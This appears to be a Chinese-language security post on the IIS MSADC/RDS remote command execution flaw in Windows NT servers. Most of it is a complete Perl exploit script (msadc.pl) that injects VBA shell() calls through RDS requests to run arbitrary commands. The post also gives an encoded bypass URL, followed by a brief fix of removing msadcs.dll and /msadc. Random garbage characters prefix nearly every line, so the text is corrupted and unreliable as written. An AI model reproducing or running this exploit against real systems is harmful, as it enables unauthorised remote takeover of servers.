IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
G%#M 17 JMVh\($,x 涉及程序：
Sz'H{?" Microsoft NT server
:5,
k64'D E$1P H) 描述：
| ycN)zuE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
>= VCKN2'j Vu1swq) l 详细：
:)g}x&A^$ 如果你没有时间读详细内容的话，就删除:
@5:# J ! c:\Program Files\Common Files\System\Msadc\msadcs.dll
}*>xSb1 有关的安全问题就没有了。
3Q\k!$zq >9i%Yuy]( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
l/6$BP U` t[=teB v< 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,E3Ze *(U 关于利用ODBC远程漏洞的描述，请参看:
^EF VjGM fB "It~ p http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <]wQ;14;H JuM4Njz| 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
O ;C C ( http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1}XESAX;0 u|EHe"V" 这里不再论述。
kBr?Q vL
]z3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
e4<[ |B!O o)r%4YOL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
] rM HO 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
S> nf]J`
B +<i=w $dkkgsw 7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
^w6~?'} cOrFe;8-. #!perl
5ji#rIAhxh #
3`U^sr:[% # MSADC/RDS 'usage' (aka exploit) script
W)p?cK` #
sHn-#SGm # by rain.forest.puppy
Ds@ nuQ #
C] GW u~QF # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
[\,Jy8t)\ # beta test and find errors!
</-aG[Fi a"bael use Socket; use Getopt::Std;
#.W^7}H getopts("e:vd:h:XR", \%args);
Jth W"{E Q)L6+gW^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
/pYp, ak v FWg0 $, if (!defined $args{h} && !defined $args{R}) {
]!'9Y}9a print qq~
dO!5` ] Usage: msadc.pl -h <host> { -d <delay> -X -v }
m>&:)K}m -h <host> = host you want to scan (ip or domain)
eccJt -d <seconds> = delay between calls, default 1 second
?v@pB>NZ -X = dump Index Server path table, if available
3 Xl!Z^W -v = verbose
p|RFpn2ygF -e = external dictionary file for step 5
3\E G . g8db d Or a -R will resume a command session
z(
^
r <BX'Owbs!O ~; exit;}
] aI zya2 O?s $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3u@=]0ZN if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{2=f,,| +f if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2e | m3 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
gvCQ! [ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
L yNLz
m5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
aM!%EaT `g^b Q x if (!defined $args{R}){ $ret = &has_msadc;
.
l-eJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D V=xqC6} ;Yu|LaI\<m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
j:P(,M[ . "cmd /c ";
[Nv )37|W $in=<STDIN>; chomp $in;
a K5O0` $command="cmd /c " . $in ;
Mi:i1i
cdn ),5|Ves;t[ if (defined $args{R}) {&load; exit;}
v0u, :eZ4 Kw87 0n< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Bhg ,P.7 &try_btcustmr;
6)[gF 1 {vox
x&UX print "\nStep 2: Trying to make our own DSN...";
\Y^GA;AMQQ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
S:{`eDk\A_ kj /v$m print "\nStep 3: Trying known DSNs...";
>bbvQb +j &known_dsn;
P&5k O;ia I~) A!vp print "\nStep 4: Trying known .mdbs...";
n# "N"6 s &known_mdb;
PsO>&Te 2 fX{Xw0
if (defined $args{e}){
e_3($pj print "\nStep 5: Trying dictionary of DSN names...";
5 KC
Zg'h &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
l
dw!G/ a K?PK }@ print "Sorry Charley...maybe next time?\n";
$*c!9Etl4 exit;
@BoZZ ? F/)<r ##############################################################################
. kp3<. Kdr} 7#c sub sendraw { # ripped and modded from whisker
sj8lvI Y5 sleep($delay); # it's a DoS on the server! At least on mine...
dLtmG:II my ($pstr)=@_;
M@< r8M] G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
bBgyLyg die("Socket problems\n");
-fT}Nj\ if(connect(S,pack "SnA4x8",2,80,$target)){
"9O8#i<N r select(S); $|=1;
P 9?I]a)G print $pstr; my @in=<S>;
-muP.h/ select(STDOUT); close(S);
I/)*pzt8 return @in;
7_c/wbA#me } else { die("Can't connect...\n"); }}
tKY g I]6,hygs ##############################################################################
$ 9
k5a @Zw[LIQ* sub make_header { # make the HTTP request
mu$rG3M my $msadc=<<EOT
( 7w9 5xI POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
K:54`UJ User-Agent: ACTIVEDATA
v(~EO(n. Host: $ip
Ls/*&u Content-Length: $clen
| u_f VQj Connection: Keep-Alive
d5 #z\E?? &x)n K ADCClientVersion:01.06
>9,:i)m_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0S&C[I
o6 K96N{"{iI% --!ADM!ROX!YOUR!WORLD!
_3zJ .% Content-Type: application/x-varg
Mk8k,"RG&Z Content-Length: $reqlen
9\!=i Rh%C$d( EOT
`2hLs _ ; $msadc=~s/\n/\r\n/g;
n*r Xj{Kt return $msadc;}
.Z( Q7j^ (N?nOOQ ##############################################################################
*X 8Pa ;x EL(B XJrx{ sub make_req { # make the RDS request
.\mkgAlyaM my ($switch, $p1, $p2)=@_;
I|.
< my $req=""; my $t1, $t2, $query, $dsn;
Xh@;4n a^7QHYJ6 if ($switch==1){ # this is the btcustmr.mdb query
b]g#mQ $query="Select * from Customers where City=" . make_shell();
V0!kvIv $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`Ln1g@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6 jU ?~ .$a|&P=S elsif ($switch==2){ # this is general make table query
'RZ0,SK' $query="create table AZZ (B int, C varchar(10))";
w}0rDWuR[ $dsn="$p1";}
@Yb Z"Jb _V(FHjY elsif ($switch==3){ # this is general exploit table query
Xa_:B\ic $query="select * from AZZ where C=" . make_shell();
bJ^Jmb $dsn="$p1";}
cK\' D %|B$y;q^3 elsif ($switch==4){ # attempt to hork file info from index server
)0zg1z $query="select path from scope()";
5#mHWBGd7 $dsn="Provider=MSIDXS;";}
&Y1RPO41J t@!A1Vr@ elsif ($switch==5){ # bad query
WXd#`f % $query="select";
;jh.\ a_\ $dsn="$p1";}
H^<?h6T
Y}e3:\ $t1= make_unicode($query);
<4P.B?-/t $t2= make_unicode($dsn);
C=(~[ Y $req = "\x02\x00\x03\x00";
8\rAx P}= $req.= "\x08\x00" . pack ("S1", length($t1));
wowWq\euY $req.= "\x00\x00" . $t1 ;
? kCo/sW $req.= "\x08\x00" . pack ("S1", length($t2));
E&>;a!0b] $req.= "\x00\x00" . $t2 ;
ce7 $#
# f $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
XwDt8TxL return $req;}
8 @r>`c >%A~ : ##############################################################################
y(X^wC S^{tRPF%d sub make_shell { # this makes the shell() statement
c3( 0BSv return "'|shell(\"$command\")|'";}
s:ojlmPb &'u %|A@ ##############################################################################
';LsEI[ <K
<| G sub make_unicode { # quick little function to convert to unicode
FTu<$`!1L my ($in)=@_; my $out;
)i[K1$x2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
dQ
Lo,S8( return $out;}
_mTNK^gB `2`h4[^ [X ##############################################################################
)3^#CD d(^3S>V|q sub rdo_success { # checks for RDO return success (this is kludge)
qRXHaQi@9 my (@in) = @_; my $base=content_start(@in);
F]cc?r312 if($in[$base]=~/multipart\/mixed/){
r o8C^d] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Z/LYTo$Bz return 0;}
9Us'Q{CD JPpNCC.b ##############################################################################
\`W8 #fob j43i:c;F sub make_dsn { # this makes a DSN for us
s8SCEpz my @drives=("c","d","e","f");
Iv/h1j> H print "\nMaking DSN: ";
,{d=<j_ foreach $drive (@drives) {
|nY+Nen7 print "$drive: ";
`HILsU=| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4%7Oaf>9 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
;ZTh(_7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
p1s|JI $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Up*6K =Tny return 0 if $2 eq "404"; # not found/doesn't exist
S+l >@wa)| if($2 eq "200") {
YGhHIziI foreach $line (@results) {
x$KQ*P~q return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
L#fS P } return 0;}
aT8A +=K6 40$9./fe) ##############################################################################
S*%:ID|/C2 T#a6X;9P sub verify_exists {
S"/gZfxer my ($page)=@_;
:Yn{:%p my @results=sendraw("GET $page HTTP/1.0\n\n");
7e
/Kh)5G return $results[0];}
VM+l9 z> }] . |7h ##############################################################################
!J(6E:,b# a> S -50 sub try_btcustmr {
+f,I$&d.V my @drives=("c","d","e","f");
r@ba1*y0 my @dirs=("winnt","winnt35","winnt351","win","windows");
BJjx y0+ Pt7C/
qM/ foreach $dir (@dirs) {
}DQ[C& print "$dir -> "; # fun status so you can see progress
9`!#5i)VU8 foreach $drive (@drives) {
/Q'O]h0 a print "$drive: "; # ditto
W3&~[DS@~ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ox6^=D " $reqlenlen=length( "$reqlen" );
TSj)XU {W $clen= 206 + $reqlenlen + $reqlen;
aZCxyoh + D!D}mPi[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
1~[GGl if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
be'&tsZ9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$it>*% g XB&Sgjo ##############################################################################
yn04[PN2 jR {t=da sub odbc_error {
;V^ I>-fnm my (@in)=@_; my $base;
C3b<Wa]) my $base = content_start(@in);
29NP!W
/g if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Hr/J6kyB) $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2>im'x 5 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
MJ.Kor $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x)T07,3: return $in[$base+4].$in[$base+5].$in[$base+6];}
U!T#'H5'- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m^4O jik print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Ps~)l#gue $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]o`FF="at q[+V6n `Z5 ##############################################################################
W |+&K0M #J%Fi).^) sub verbose {
[Rz n > my ($in)=@_;
&sGLm~m# return if !$verbose;
Zk0? =f?j print STDOUT "\n$in\n";}
?{>5IjL)en Job& qW9W` ##############################################################################
EiWd =jDm P>
~Lx sub save {
Ms A)Y my ($p1, $p2, $p3, $p4)=@_;
cX5t x] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
E /V`NqC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
#uuNH ( close OUT;}
7/BA!V(na
DIh[% ##############################################################################
@fd{5 >\ F=yE>[! LB sub load {
Ls NJ3oy my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/7C %m: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
bc\?y2
3 @p=<IN>; close(IN);
~q{QquYV $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}j,G)\g# $target= inet_aton($ip) || die("inet_aton problems");
n7d`J_%s print "Resuming to $ip ...";
yj9 Ad*. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
e{0O "Jd` if($p[1]==1) {
RueL~$*6.~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
XU $\.g p- $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\>4x7mF! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
WI54xu1M if (rdo_success(@results)){print "Success!\n";}
Fprhu;h else { print "failed\n"; verbose(odbc_error(@results));}}
66cPoG elsif ($p[1]==3){
}fz;La:b if(run_query("$p[3]")){
="]y^&(L( print "Success!\n";} else { print "failed\n"; }}
9R4q^tGR\ elsif ($p[1]==4){
5<?/M <i if(run_query($drvst . "$p[3]")){
]BBjFs4# print "Success!\n"; } else { print "failed\n"; }}
y#5;wb<1 exit;}
t8-LPq )> a^%V9 ##############################################################################
sg,9{R ^ ">S.~'ds sub create_table {
+6 x:+9S my ($in)=@_;
^os|yRzV*M $reqlen=length( make_req(2,$in,"") ) - 28;
If(IG]>`D $reqlenlen=length( "$reqlen" );
+IfU
5&5< $clen= 206 + $reqlenlen + $reqlen;
~kPZh1n` my @results=sendraw(make_header() . make_req(2,$in,""));
jVdB- y/r return 1 if rdo_success(@results);
u1 (8a%ZC my $temp= odbc_error(@results); verbose($temp);
3/2G~$C return 1 if $temp=~/Table 'AZZ' already exists/;
n\H.NL)
return 0;}
6-uB[$ko D i #E m[ ##############################################################################
o<%s\n s xQMfbN sub known_dsn {
)9> E} SU/ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)rv<" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
84ma X' "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
k'+Mc%pg4E "banner", "banners", "ads", "ADCDemo", "ADCTest");
]}dAm S/ !:Clzlg foreach $dSn (@dsns) {
Q
GDfX _
print ".";
kM/;R)3t4/ next if (!is_access("DSN=$dSn"));
h-[FUPfuw if(create_table("DSN=$dSn")){
Mhze !! print "$dSn successful\n";
b
`.h +=3 if(run_query("DSN=$dSn")){
Hsz).u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
'}
LAZQ" print "Something's borked. Use verbose next time\n";}}} print "\n";}
!Ql& Ls z c, Q ##############################################################################
6B>H 75S+H /h73'"SpDy sub is_access {
Iw) 'Yyg my ($in)=@_;
W=T,hOyh<W $reqlen=length( make_req(5,$in,"") ) - 28;
f}F
$reqlenlen=length( "$reqlen" );
viR-h
iD $clen= 206 + $reqlenlen + $reqlen;
;yg9{"O my @results=sendraw(make_header() . make_req(5,$in,""));
2:& [r* my $temp= odbc_error(@results);
2u'h,on? verbose($temp); return 1 if ($temp=~/Microsoft Access/);
j4.deQ, return 0;}
4';(\42 bO?Us ##############################################################################
4
g^oy^~ }z8HS<
#Q sub run_query {
`=cOTn52 my ($in)=@_;
9dD;Z$x&Xk $reqlen=length( make_req(3,$in,"") ) - 28;
zAdZXa[MRY $reqlenlen=length( "$reqlen" );
;?0r,0l2$ $clen= 206 + $reqlenlen + $reqlen;
uPtS.j= my @results=sendraw(make_header() . make_req(3,$in,""));
"+:IA|1wD return 1 if rdo_success(@results);
Se-n# my $temp= odbc_error(@results); verbose($temp);
"#a,R ^J return 0;}
>0qe*4n|M iu 6NIy7D ##############################################################################
$N)b6(}F10 SV96eYT< sub known_mdb {
O<?z\yBtS^ my @drives=("c","d","e","f","g");
-|~tZuf my @dirs=("winnt","winnt35","winnt351","win","windows");
A&6 qt my $dir, $drive, $mdb;
C| Vz
`FY my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o2M4?}TpIV iZ-"l3) D # this is sparse, because I don't know of many
|VD}: my @sysmdbs=( "\\catroot\\icatalog.mdb",
>
H(o=39s "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
vL"[7' "\\system32\\certmdb.mdb",
fbK`A?5K "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ON<X1e U OAXF=V F# my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
vtVc^j4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
#y&O5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
L@HWm;aN "\\cfusion\\cfapps\\security\\realm_.mdb",
Sx3R 2-!Z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z>zW83a "\\cfusion\\database\\cfexamples.mdb",
)j>BvO "\\cfusion\\database\\cfsnippets.mdb",
11 >K\"K} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*
>XmJ6w "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
COf>H0^%Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
.IJgkP)!] "\\cfusion\\database\\smpolicy.mdb",
x#_0
6 "\\cfusion\\database\cypress.mdb",
[Vaw$c-+[y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
6:vdo~ "\\website\\cgi-win\\dbsample.mdb",
X m! ; "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Iib39?D W "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
xK3}z N$T ); #these are just
R87e"m/C% foreach $drive (@drives) {
B> LL
* foreach $dir (@dirs){
H o; bgva foreach $mdb (@sysmdbs) {
|}>;wZ[7 print ".";
+Tw ]u` if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
J< U,~ra\ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$pg1Av7l if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ir ^XZVR print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
vCh/%7+ } else { print "Something's borked. Use verbose next time\n"; }}}}}
oH|<(8efD ry%Fs&V*> foreach $drive (@drives) {
AH#eoKu foreach $mdb (@mdbs) {
=whYo?cE( print ".";
l@zr1g) if(create_table($drv . $drive . $dir . $mdb)){
u:0 M,Ye print "\n" . $drive . $dir . $mdb . " successful\n";
9G@
J#vsqr if(run_query($drv . $drive . $dir . $mdb)){
z_LN*u
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
$M=W`E[g } else { print "Something's borked. Use verbose next time\n"; }}}}
{)8!> K%G }
]FLi^ }ct CUR70[pB) ##############################################################################
{b6$F[e ^1^mu c[ sub hork_idx {
T1Q c?5K ^ print "\nAttempting to dump Index Server tables...\n";
Tn7(A^h' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?A4t
&4 $reqlen=length( make_req(4,"","") ) - 28;
c$>$2[*= $reqlenlen=length( "$reqlen" );
|NZVm}T $clen= 206 + $reqlenlen + $reqlen;
\Y{^Q7!>:8 my @results=sendraw2(make_header() . make_req(4,"",""));
f2"1^M if (rdo_success(@results)){
tM$w0Cj my $max=@results; my $c; my %d;
Mh+ym]6\(k for($c=19; $c<$max; $c++){
kr|u || $results[$c]=~s/\x00//g;
>$yqx1=jW $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
DV WqrK}q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*l[;g $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_V`Gmy[]p $d{"$1$2"}="";}
RvPC7,vh foreach $c (keys %d){ print "$c\n"; }
}H4Z726 } else {print "Index server doesn't seem to be installed.\n"; }}
Rn-RMD{dh LT3ViCZ -n ##############################################################################
dlx "L% UpU2H4 sub dsn_dict {
I w< :
k open(IN, "<$args{e}") || die("Can't open external dictionary\n");
dk^Uf84.Gr while(<IN>){
kCu" G $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
~X`_ g/5X next if (!is_access("DSN=$dSn"));
};: +0k/ if(create_table("DSN=$dSn")){
MZ{gU> K+ print "$dSn successful\n";
_8U
5mW if(run_query("DSN=$dSn")){
u, R;=DNl print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
z [I3k print "Something's borked. Use verbose next time\n";}}}
`;9Z?]}` print "\n"; close(IN);}
1 %nE FesXY856E ##############################################################################
[Ie;Jd>gG J}9 I5O sub sendraw2 { # ripped and modded from whisker
|aT&r pt sleep($delay); # it's a DoS on the server! At least on mine...
A8 0r@)i my ($pstr)=@_;
tX$ v)O| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|Ts| >"F' die("Socket problems\n");
{iI" Lt if(connect(S,pack "SnA4x8",2,80,$target)){
X7*i -v@ print "Connected. Getting data";
{Di()]/ open(OUT,">raw.out"); my @in;
: ;nvqb d select(S); $|=1; print $pstr;
J ( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$#k 8xb close(OUT); select(STDOUT); close(S); return @in;
6tPgFa#N } else { die("Can't connect...\n"); }}
&C.{7ZNt 8~=<!(M)m/ ##############################################################################
'T F5CNX 0 2lI-xHe sub content_start { # this will take in the server headers
Vk/!_) my (@in)=@_; my $c;
1FCHqqZ= for ($c=1;$c<500;$c++) {
/7nircXj@ if($in[$c] =~/^\x0d\x0a/){
\=O[' # if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Y'YvVI else { return $c+1; }}}
i7D)'4gkW return -1;} # it should never get here actually
<R TAO2 @ nuMl5C-` ##############################################################################
PE IUKlX ya<nD '%9 sub funky {
z)RJUmY3B my (@in)=@_; my $error=odbc_error(@in);
JFyw,p&xB if($error=~/ADO could not find the specified provider/){
{*Ag[HS0u print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}W:Rg}v exit;}
H+oQ
L(i|_ if($error=~/A Handler is required/){
t4RI%m\ print "\nServer has custom handler filters (they most likely are patched)\n";
& .zG?e. exit;}
't+
J7 if($error=~/specified Handler has denied Access/){
V6:S<A print "\nServer has custom handler filters (they most likely are patched)\n";
,-11w7y\ exit;}}
<}@*i yl>V ' ##############################################################################
%[< @$qP tJ{3Z}K sub has_msadc {
']N1OVw^vf my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
-A?6)ggf. my $base=content_start(@results);
xp!M A return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y h
return 0;}
(Q_J{[ F ;
S(KJV ########################
K/Q%tr1W0 UP18?uM T\(w} 解决方案：
H%L oI)w 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
V__|NVoOm 2、移除web 目录: /msadc
